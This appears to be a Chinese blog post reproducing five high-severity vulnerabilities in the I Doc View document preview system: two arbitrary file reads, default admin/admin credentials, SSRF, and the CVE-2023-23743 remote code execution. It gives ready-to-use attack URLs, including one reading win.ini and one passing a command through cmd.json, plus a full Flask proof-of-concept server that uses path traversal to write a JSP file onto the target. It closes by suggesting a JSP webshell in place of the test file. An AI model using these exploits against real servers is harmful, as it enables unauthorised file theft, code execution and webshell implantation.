I Doc View在线文档预览是一款在线文档预览系统。近期出现了多个高危漏洞,因此集中复现一下,有兴趣的童鞋可以收藏一下。#头条首发挑战赛#
1.Upload接口任意文件读取漏洞
1.1 漏洞级别
高危
1.2 漏洞描述
I Doc View存在代码执行漏洞,使得攻击者可以通过利用这个接口,触发服务器下载并解析恶意文件,从而导致远程命令执行漏洞。
1.3 漏洞复现
这里展示一个读取本地文件的方法
访问:
url/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt
响应结果如下:
提取生成的srcUrl,构造:
url/srcUrl
我这里是 url/data/test/2023/1210/10/101554_167_qTZPojt.txt
访问该链接,即可获取文件内容
2.system任意文件读取漏洞
2.1 漏洞级别
高危
2.2 漏洞描述
I Doc View存在代码执行漏洞,使得攻击者可以通过利用这个接口读取任意文件的内容。
2.3 漏洞复现
构造payload:
url/system/cmd.json?cmd=type+c:\\Windows\win.ini
响应结果如下:
3.后台登录弱口令漏洞
3.1 漏洞级别
高危
3.2 漏洞描述
系统存在默认弱口令,若未修改则可以登录。
3.3漏洞复现
访问
url/user/login #默认登录地址
默认账号密码
admin/admin
成功登录
4.SSRF漏洞
4.1 漏洞级别
高危
4.2 漏洞描述
文档读取功能未进行限制,可以读取任意文件,触发ssrf。
4.3漏洞复现
构造
url/view/url?url=dnslog
访问链接,查看dnslog回显
成功触发ssrf
5.CVE-2023-23743 RCE漏洞
5.1 漏洞级别
高危
5.2 漏洞描述
I Doc View在线文档预览系统“/html/2word”的参数“url”存在文件上传漏洞,该漏洞存在于I Doc View的远程页面缓存功能中。由于应用程序无法完全验证用户输入URL的安全性,攻击者可以构建特殊的URL,使服务器下载恶意文件并执行任意代码。
5.3 利用范围
iDocView < 13.10.1_20231115
5.4 漏洞复现
在服务器上运行一个python脚本,代码如下:
from flask import Flask
import argparse
parse = argparse.ArgumentParser()
parse.add_argument("-port", type=int, help="Save port.", default=8888)
args = parse.parse_args()
app = Flask(__name__)
@app.route('/index.html')
def index():
return """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>title</title>
<link rel="stylesheet" href="..\\..\\..\\docview\\1.jsp">
</head>
<body>
</body>
</html>"""
@app.route('/..\\..\\..\\docview\\1.jsp')
def jsp_file():
return '''<%
out.print("This is a test!");
%>'''
if __name__ == '__main__':
app.run(host="0.0.0.0", port=args.port)
在服务器上运行该代码并指定启动端口
python3 poc.py -port 8888
#可以指定任意端口
构造攻击链接:
url/html/2word?url=http://ip:port/index.html
在服务器上可以看到目标网站的访问记录
此时访问 url/1.jsp,已经成功被上传。这里用的是test语句,如果想要进一步利用,可以在python代码中将生成的jsp文件内容修改成jsp一句话。
近期爆出来的i doc view的漏洞应该都包含在内了,感谢您的观看,有问题欢迎留言交流~